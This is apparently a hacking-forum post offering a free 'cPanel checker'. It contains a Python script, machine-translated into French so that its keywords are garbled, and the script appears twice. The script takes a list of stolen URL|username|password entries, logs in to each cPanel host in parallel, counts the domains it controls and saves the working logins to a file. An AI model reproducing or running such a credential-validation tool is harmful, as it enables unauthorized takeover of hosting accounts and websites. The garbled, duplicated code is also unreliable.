Vérificateur cpanel CADEAU rapide!
format liste .txt URL|NOM D'UTILISATEUR|MOT DE PASSE
У вас должно быть более 20 реакций для просмотра скрытого контента.
demandes d'importation
système d'importation
importer json
heure d'importation
à partir de concurrent.futures importer ThreadPoolExecutor
depuis l'importation colorama *
requêtes.urllib3.disable_warnings()
init (réinitialisation automatique = Vrai)
msg0 = "Codé par Cash_Out_Gang1337 - cPanel et vérificateur de domaine\n"
pour moi dans msg0 :
sys.stdout.write(i)
sys.stdout.flush()
temps.sommeil (0,02)
filename = input("Entrez la liste cPanel : ")
URL = []
avec open(filename, 'r', encoding="iso-8859-1") comme f :
pour la ligne en f :
urls.append(line.strip().split('|'))
coché = 0
valide = 0
invalide = 0
def get_domain_count (url, nom d'utilisateur, mot de passe) :
global vérifié, valide, invalide
data_user_pass = {
"utilisateur": nom d'utilisateur,
"pass" : mot de passe
}
s = requêtes.Session()
essayer:
resp = s.post(f"{url}/login/?login_only=1", data=data_user_pass, timeout=20,allow_redirects=True)
login_resp = json.loads(resp.text)
temps.sommeil (0,05)
cpsess_token = login_resp["security_token"][7:]
resp = s.post(f"{url}/cpsess{cpsess_token}/execute/DomainInfo/domains_data", data={"return_https_redirect_status":"1"})
domains_data = json.loads (resp.text)
domaine_total = 1
si domains_data["status"] == 1 :
total_domain += len(domains_data["data"]["sub_domains"])
total_domain += len(domains_data["data"]["addon_domains"])
print(Fore.GREEN + f"[BON CPANEL] --> {url} | Domaines : {total_domain}")
open(f"SuccescPanels.log", "a").write(url + "|" + nom d'utilisateur + "|" + mot de passe + "\n")
open(f"DomainNumberList.txt", "a", encoding="iso-8859-1").write(url + " --> Domaines : " + str(total_domain) + "\n")
valide += 1
sauf exception :
print(Fore.RED + f"Mauvais ! Connexion : {url}")
invalide += 1
enfin:
s.close()
temps.sommeil (0,05)
coché += 1
avec ThreadPoolExecutor(max_workers=10) comme exécuteur :
pour url_info dans les URL :
essayer:
URL, nom d'utilisateur, mot de passe = url_info
executor.submit (get_domain_count, url, nom d'utilisateur, mot de passe)
sauf ValueError :
print("Erreur : format d'URL invalide")
sauf RequestException :
print("Erreur : échec de la demande")
sauf exception comme e :
print(f"Erreur : {e}")
print(f"Vérifié : {vérifié} | Valide : {valide} | Invalide : {invalide}")
système d'importation
importer json
heure d'importation
à partir de concurrent.futures importer ThreadPoolExecutor
depuis l'importation colorama *
requêtes.urllib3.disable_warnings()
init (réinitialisation automatique = Vrai)
msg0 = "Codé par Cash_Out_Gang1337 - cPanel et vérificateur de domaine\n"
pour moi dans msg0 :
sys.stdout.write(i)
sys.stdout.flush()
temps.sommeil (0,02)
filename = input("Entrez la liste cPanel : ")
URL = []
avec open(filename, 'r', encoding="iso-8859-1") comme f :
pour la ligne en f :
urls.append(line.strip().split('|'))
coché = 0
valide = 0
invalide = 0
def get_domain_count (url, nom d'utilisateur, mot de passe) :
global vérifié, valide, invalide
data_user_pass = {
"utilisateur": nom d'utilisateur,
"pass" : mot de passe
}
s = requêtes.Session()
essayer:
resp = s.post(f"{url}/login/?login_only=1", data=data_user_pass, timeout=20,allow_redirects=True)
login_resp = json.loads(resp.text)
temps.sommeil (0,05)
cpsess_token = login_resp["security_token"][7:]
resp = s.post(f"{url}/cpsess{cpsess_token}/execute/DomainInfo/domains_data", data={"return_https_redirect_status":"1"})
domains_data = json.loads (resp.text)
domaine_total = 1
si domains_data["status"] == 1 :
total_domain += len(domains_data["data"]["sub_domains"])
total_domain += len(domains_data["data"]["addon_domains"])
print(Fore.GREEN + f"[BON CPANEL] --> {url} | Domaines : {total_domain}")
open(f"SuccescPanels.log", "a").write(url + "|" + nom d'utilisateur + "|" + mot de passe + "\n")
open(f"DomainNumberList.txt", "a", encoding="iso-8859-1").write(url + " --> Domaines : " + str(total_domain) + "\n")
valide += 1
sauf exception :
print(Fore.RED + f"Mauvais ! Connexion : {url}")
invalide += 1
enfin:
s.close()
temps.sommeil (0,05)
coché += 1
avec ThreadPoolExecutor(max_workers=10) comme exécuteur :
pour url_info dans les URL :
essayer:
URL, nom d'utilisateur, mot de passe = url_info
executor.submit (get_domain_count, url, nom d'utilisateur, mot de passe)
sauf ValueError :
print("Erreur : format d'URL invalide")
sauf RequestException :
print("Erreur : échec de la demande")
sauf exception comme e :
print(f"Erreur : {e}")
print(f"Vérifié : {vérifié} | Valide : {valide} | Invalide : {invalide}")
format liste .txt URL|NOM D'UTILISATEUR|MOT DE PASSE